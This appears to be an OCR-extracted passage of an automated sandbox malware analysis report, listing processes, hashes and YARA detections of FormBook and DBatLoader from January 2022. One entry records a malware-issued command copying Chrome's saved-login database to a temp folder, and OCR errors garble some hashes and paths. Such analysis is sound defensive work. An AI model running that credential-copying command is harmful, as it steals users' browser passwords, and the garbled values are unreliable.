00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000014.00000002.558403513.0000000002FA0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Registry Activities Show Windows behavior
Analysis Process: Hyrzbcwcas.exe PID: 6340 Parent PID: 7108

General

Start time: 20:23:17

Start date: 13/01/2022

Path: C:\Users\user\Contacts\Hyrzbcwcas.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Contacts\Hyrzbcwcas.exe

Imagebase: 0x400000

File size: 807424 bytes

MDS5 hash: 58B39C2620CDDA3D3FA6A125F476FCIOF

Has elevated privileges:
Has administrator privileges:

Programmed in:
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Yara matches: .

.

°

.

.

.

.

.

.

.

.

.

Reputation: low

File Activities

File Read

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000015.00000000.416006494.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000015.00000000.417791279.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000015.00000000.417110071.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000015.00000000.415275359.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior

Analysis Process: cmd.exe PID: 5628 Parent PID: 3352

General

Start time: 20:23:20

Start date: 13/01/2022

Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
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Commandline: C:\Windows\SysWOW64\cmd.exe

Imagebase: 0xd80000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high

File Activities Show Windows behavior

File Read

Analysis Process: cmd.exe PID: 4324 Parent PID: 6656

General
Start time: 20:23:20
Start date: 13/01/2022
Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true
Commandline: Ic copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data"
"C:\Users\usen\AppData\Local\Temp\DB1" /V
Imagebase: 0xd80000
File size: 232960 bytes
MD5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior
File Created
File Written
File Read

Analysis Process: conhost.exe PID: 5848 Parent PID: 4324

General

Start time: 20:23:21

Start date: 13/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: false
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Has administrator privileges: false
Programmed in: C, C++ or other language

Reputation: high

Analysis Process: help.exe PID: 5832 Parent PID: 3352

General

Start time: 20:23:21

Start date: 13/01/2022

Path: C:\Windows\SysWOW64\help.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\help.exe

Imagebase: 0xa50000

File size: 10240 bytes

MD5 hash: 09A715036F14D3632AD03B52D1DA6BFF

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:

0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: moderate

File Activities Show Windows behavior
File Read

Disassembly

Code Analysis
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